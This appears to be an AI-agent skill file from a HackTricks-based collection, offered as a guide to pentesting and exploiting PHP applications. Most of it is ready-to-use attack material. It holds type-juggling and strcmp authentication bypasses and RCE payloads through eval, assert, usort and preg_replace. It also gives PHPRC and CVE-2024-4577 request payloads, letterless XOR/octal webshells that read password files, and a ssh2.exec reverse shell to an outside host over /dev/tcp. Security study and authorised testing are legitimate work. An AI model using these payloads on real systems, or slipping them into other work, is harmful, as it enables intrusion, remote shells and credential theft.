Hacktricks-skills php-pentest
PHP security testing and exploitation techniques. Use this skill whenever the user needs to test PHP applications for vulnerabilities, analyze PHP code for security issues, generate PHP payloads, understand PHP type juggling attacks, or perform web application pentesting on PHP-based systems. Make sure to use this skill for any PHP security assessment, code review, or exploitation scenario.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-web/php-tricks-esp/php-tricks-esp/SKILL.MDPHP Pentesting Skill
A comprehensive guide for testing and exploiting PHP applications.
Quick Reference
Common Cookie/Session Locations
/var/lib/php/sessions /var/lib/php5/ /tmp/ # Example path traversal: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Common cookie names:
PHPSESSIDphpMyAdmin
Type Juggling Attacks
Loose Comparison Bypasses (==)
PHP's loose comparison (
==) can be exploited:
| Pattern | Result | Exploit |
|---|---|---|
| True | Non-numeric strings equal 0 |
| True | Hex strings compare as numbers |
| True | "0e" prefix = scientific notation |
| True | "0" + letter = 0 |
| True | Hash collision bypass |
| True | Any letter = 0 |
Use case: Bypass password/hash comparisons in authentication.
in_array() Type Juggling
$values = array("apple","orange","pear","grape"); var_dump(in_array(0, $values)); // True (loose) var_dump(in_array(0, $values, true)); // False (strict)
Exploit: Send
0 to bypass array checks unless strict mode is enabled.
strcmp()/strcasecmp() Bypass
// Send empty array instead of string https://example.com/login.php/?username=admin&password[]=
Exploit:
!strcmp(array(), "real_pwd") returns true.
preg_match() Bypasses
New Line Bypass
// Input with newline bypasses ^.*pattern checks $myinput="aaaaaaa 11111111"; echo preg_match("/^.*1/",$myinput); // 0 (doesn't match)
Payload: URL-encode newlines as
%0A or use multi-line JSON.
ReDoS Bypass
# 500k+ characters causes 1M backtracking steps payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Exploit: Exhaust PCRE recursion limit (default 100,000) to crash regex engine.
Remote Code Execution (RCE) Techniques
Via eval()
'.system('uname -a'); $dummy=' '.system('uname -a');# '.system('uname -a');// '.phpinfo()+' <?php phpinfo(); ?>
Via assert()
// Break syntax, inject payload, fix syntax ?page=a','NeVeR') === false and system('ls') and strpos('a // Alternative: append code execution '.highlight_file('.passwd')+'
Note: Use
and or && - or and || won't work if first condition is true.
Via usort()
// Close brackets and inject code VALUE: );phpinfo();# // Inside function VALUE: );}[PHP CODE];# // Discover bracket count: ?order=id;}// // Parse error - missing brackets ?order=id);}// // Warning - correct ?order=id));}// // Parse error - too many
Via preg_replace() (PHP < 5.5)
preg_replace("/a/e", "phpinfo()", "whatever")
Note: Deprecated in PHP 5.5+, but still exploitable in legacy systems.
Via .htaccess
# Upload .htaccess to configure file execution # Shells available: https://github.com/wireghoul/htshells
Via Environment Variables
PHPRC Exploitation
# Upload shellcode file # Upload config with auto_prepend_file # Set PHPRC to config file # Without file upload (FreeBSD): curl "http://target/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"' # With allow_url_include: curl "http://target/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
Via ssh2.exec Stream Wrapper
GET /download.php?id=54&show=true&format=ssh2.exec://user:pass@127.0.0.1:22/ping%2010.10.14.6%20-c%201# # Reverse shell: format=ssh2.exec://user:pass@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#
Requirements:
ssh2 extension installed, credentials available.
XAMPP CGI RCE (CVE-2024-4577)
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded <?php phpinfo(); ?>
WAF Bypass Techniques
Execute PHP Without Letters
Octal Encoding
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; # system(cat .passwd)
XOR Encoding
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); # show_source $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); # .passwd $_($__);
XOR Easy Shell
$_="`{{{"^"?<>/"; // $_ = '_GET' ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
Usage:
POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
HTTP Header Bypass
Cause Error After Headers
// Send 1000+ GET/POST params or 20+ files // PHP won't set headers, bypassing CSP
Fill Body Before Headers
// Trigger large error output before header() call // Server can't modify headers after output starts
Password Hash Bypass
Bcrypt 72-Byte Limit
// PASSWORD_BCRYPT truncates to 72 bytes $cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSWORD_BCRYPT)); // Returns True - "b" is ignored
Variable Variables
$x = 'Da'; $$x = 'Drums'; // All output "Drums": echo $$x; // Drums echo $Da; // Drums echo "${Da}"; // Drums
Common PHP Functions to Audit
// Code execution: exec, shell_exec, system, passthru, eval, popen // File operations: unserialize, include, file_put_contents // User input: $_COOKIE, $_GET, $_POST, $_REQUEST
Debugging & Analysis
Enable Error Display
# Edit /etc/php5/apache2/php.ini display_errors = On # Restart Apache sudo systemctl restart apache2
Deobfuscate PHP Code
- Use: http://www.unphp.net
Check for Xdebug RCE
// If Xdebug enabled in phpinfo(), try: https://github.com/nqxcode/xdebug-exploit
Session Cookie Tricks
Cross-Path Cookie Sharing
// Same domain cookies stored together // Path1 sets cookie, Path2 reads it // If both use same variable name, values transfer
register_globals (PHP < 4.1.1.1)
// If enabled: $_GET["param"]="1234" becomes $param // Can overwrite internal variables via HTTP params
register_argc_argv Bypass
// If enabled: query params populate $_SERVER['argv'] // Bypass CLI checks: ?--configPath=/lalala // Makes web request appear as CLI execution
Next Steps
- Run the type juggling test script to verify loose comparison vulnerabilities
- Use the payload generator for common RCE techniques
- Check PHP wrappers for file inclusion attacks
- Analyze error messages for information disclosure
- Test authentication bypasses with type juggling
References
- PHP Comparison Tables: https://www.php.net/manual/en/types.comparisons.php
- Type Juggling Vulnerabilities: https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
- Hash Collisions: https://github.com/spaze/hashes
- Xdebug Exploit: https://github.com/nqxcode/xdebug-exploit
- HT Shells: https://github.com/wireghoul/htshells